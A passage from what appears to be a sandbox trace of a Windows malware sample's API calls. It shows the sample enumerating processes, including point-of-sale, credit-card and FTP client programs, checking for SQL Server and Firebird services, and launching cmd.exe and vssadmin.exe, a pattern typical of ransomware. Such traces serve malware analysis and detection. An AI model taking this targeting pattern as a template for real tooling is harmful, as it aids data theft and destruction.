th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0057.371] lstrlenW (lpString="skype.exe") returned 9 [0057.371] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0057.371] lstrlenW (lpString="smartftp.exe") returned 12 [0057.371] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0057.372] lstrlenW (lpString="thunderbird.exe") returned 15 [0057.372] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0057.373] lstrlenW (lpString="totalcmd.exe") returned 12 [0057.373] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0057.374] lstrlenW (lpString="trillian.exe") returned 12 [0057.374] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0057.375] lstrlenW (lpString="webdrive.exe") returned 12 [0057.375] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0057.375] lstrlenW (lpString="whatsapp.exe") returned 12 [0057.375] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0057.376] lstrlenW (lpString="winscp.exe") returned 10 [0057.376] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0057.434] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0057.435] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0057.436] lstrlenW (lpString="active-charge.exe") returned 17 [0057.436] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0057.437] lstrlenW (lpString="accupos.exe") returned 11 [0057.437] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0057.437] lstrlenW (lpString="afr38.exe") returned 9 [0057.437] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0057.438] lstrlenW (lpString="aldelo.exe") returned 10 [0057.438] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0057.439] lstrlenW (lpString="ccv_server.exe") returned 14 [0057.439] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0057.441] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0057.441] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0057.442] lstrlenW (lpString="creditservice.exe") returned 17 [0057.442] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0057.443] lstrlenW (lpString="edcsvr.exe") returned 10 [0057.443] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0057.444] lstrlenW (lpString="fpos.exe") returned 8 [0057.444] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0057.444] lstrlenW (lpString="isspos.exe") returned 10 [0057.444] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0057.445] lstrlenW (lpString="mxslipstream.exe") returned 16 [0057.445] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0057.445] lstrlenW (lpString="omnipos.exe") returned 11 [0057.446] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0059.512] lstrlenW (lpString="spcwin.exe") returned 10 [0059.512] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0059.513] lstrlenW (lpString="spgagentservice.exe") returned 19 [0059.513] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0059.513] lstrlenW (lpString="utg2.exe") returned 8 [0059.513] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="burner.exe")) returned 1 [0059.514] lstrlenW (lpString="burner.exe") returned 10 [0059.514] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0059.515] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0059.515] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0059.515] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0059.515] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0059.516] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0059.516] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0059.516] lstrlenW (lpString="cmd.exe") returned 7 [0059.517] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0059.517] lstrlenW (lpString="conhost.exe") returned 11 [0059.517] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa60, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0059.547] lstrlenW (lpString="vssadmin.exe") returned 12 [0059.564] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0059.566] lstrlenW (lpString="VSSVC.exe") returned 9 [0059.567] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.567] lstrlenW (lpString="svchost.exe") returned 11 [0059.567] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0059.568] CloseHandle (hObject=0x160) returned 1 [0059.568] Sleep (dwMilliseconds=0x1f4) [0061.838] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5a0018 [0061.839] EnumServicesStatusExW (in: hSCManager=0x5a0018, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 0 [0061.839] GetLastError () returned 0xea [0061.839] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x142e) returned 0x37f6700 [0061.840] EnumServicesStatusExW (in: hSCManager=0x5a0018, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37f6700, cbBufSize=0x142e, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37f6700, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 1 [0061.840] CloseServiceHandle (hSCObject=0x5a0018) returned 1 [0061.841] lstrlenW (lpString="Appinfo") returned 7 [0061.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0061.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0061.841] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0061.841] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0061.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0061.841] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0061.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0061.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0061.841] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0061.842] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0061.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0061.842] lstrlenW (lpString="AudioSrv") returned 8 [0061.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0061.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0061.842] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0061.842] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0061.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0061.842] lstrlenW (lpString="BFE") returned 3 [0061.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0061.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0061.842] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0061.842] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0061.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0061.842] lstrlenW (lpString="CryptSvc") returned 8 [0061.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0061.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0061.842] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0061.842] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0061.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0061.842] lstrlenW (lpString="CscService") returned 10 [0061.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0061.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0061.842] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0061.842] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0061.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0061.842] lstrlenW (lpString="DcomLaunch") returned 10 [0061.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0061.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0061.842] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0061.842] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0061.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0061.842] lstrlenW (lpString="Dhcp") returned 4 [0061.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0061.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0061.843] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0061.843] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0061.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0061.843] lstrlenW (lpString="Dnscache") returned 8 [0061.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0061.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0061.843] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0061.843] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0061.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0061.843] lstrlenW (lpString="DPS") returned 3 [0061.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0061.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0061.843] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0061.843] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0061.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0061.843] lstrlenW (lpString="eventlog") returned 8 [0061.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0061.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0061.843] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0061.843] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0061.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0061.843] lstrlenW (lpString="EventSystem") returned 11 [0061.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0061.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0061.843] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0061.843] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0061.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0061.843] lstrlenW (lpString="FontCache") returned 9 [0061.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0061.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0061.843] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0061.844] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0061.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0061.844] lstrlenW (lpString="gpsvc") returned 5 [0061.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0061.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0061.844] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0061.844] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0061.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0061.844] lstrlenW (lpString="iphlpsvc") returned 8 [0061.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0061.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0061.844] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0061.844] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0061.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0061.844] lstrlenW (lpString="LanmanServer") returned 12 [0061.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0061.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0061.844] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0061.844] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0061.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0061.844] lstrlenW (lpString="LanmanWorkstation") returned 17 [0061.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0061.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0061.844] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0061.844] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0061.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0061.844] lstrlenW (lpString="lmhosts") returned 7 [0061.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0061.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0061.844] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0061.844] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0061.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0061.844] lstrlenW (lpString="MMCSS") returned 5 [0061.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0061.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0061.845] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0061.845] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0061.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0061.845] lstrlenW (lpString="MpsSvc") returned 6 [0061.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0061.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0061.845] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0061.845] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0061.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0061.845] lstrlenW (lpString="Netman") returned 6 [0061.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0061.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0061.845] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0061.845] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0061.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0061.845] lstrlenW (lpString="netprofm") returned 8 [0061.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0061.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0061.845] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0061.845] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0061.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0061.845] lstrlenW (lpString="NlaSvc") returned 6 [0061.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0061.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0061.845] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0061.845] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0061.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0061.845] lstrlenW (lpString="nsi") returned 3 [0061.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0061.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0061.845] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0061.845] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0061.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0061.845] lstrlenW (lpString="PcaSvc") returned 6 [0061.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0061.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0061.846] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0061.846] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0061.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0061.846] lstrlenW (lpString="PlugPlay") returned 8 [0061.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0061.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0061.846] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0061.846] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0061.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0061.846] lstrlenW (lpString="Power") returned 5 [0061.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0061.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0061.846] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0061.846] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0061.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0061.846] lstrlenW (lpString="ProfSvc") returned 7 [0061.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0061.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0061.846] lstrcmpiW 